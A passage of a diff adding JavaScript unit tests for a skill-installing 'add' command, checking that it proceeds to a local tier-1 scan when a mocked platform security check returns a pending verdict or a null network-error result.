+ mockCheckPlatformSecurity.mockResolvedValue({
642
+ hasCritical: false,
643
+ overallVerdict: "PENDING",
644
+ providers: [
645
+ { provider: "semgrep", status: "PENDING", verdict: null, criticalCount: 0 },
646
+ ],
647
+ reportUrl: "/skills/test-skill/security",
648
+ });
649
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
650
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
651
+ mockEnsureLockfile.mockReturnValue({
652
+ version: 1,
653
+ agents: [],
654
+ skills: {},
655
+ createdAt: "2026-01-01T00:00:00.000Z",
656
+ updatedAt: "2026-01-01T00:00:00.000Z",
657
+ });
658
+ await addCommand("owner/test-skill", {});
659
+ const logOutput = console.log.mock.calls
660
+ .map((c) => String(c[0]))
661
+ .join("\n");
662
+ expect(logOutput).toContain("pending");
663
+ // Should proceed to tier 1 scan
664
+ expect(mockRunTier1Scan).toHaveBeenCalled();
665
+ });
666
+ it("proceeds normally when platform check returns null (network error)", async () => {
667
+ mockCheckPlatformSecurity.mockResolvedValue(null);
668
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
669
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
670
+ mockEnsureLockfile.mockReturnValue({
671
+ version: 1,
672
+ agents: [],
673
+ skills: {},
674
+ createdAt: "2026-01-01T00:00:00.000Z",
675
+ updatedAt: "2026-01-01T00:00:00.000Z",
676
+ });
677
+ await addCommand("owner/safe-skill", {});
678
+ // Should proceed to tier 1 scan without any blocking
679
+ expect(mockRunTier1Scan).toHaveBeenCalled();
680
+ });
681
+ });
682
+ //# sourceMappingURL=add.test.js.map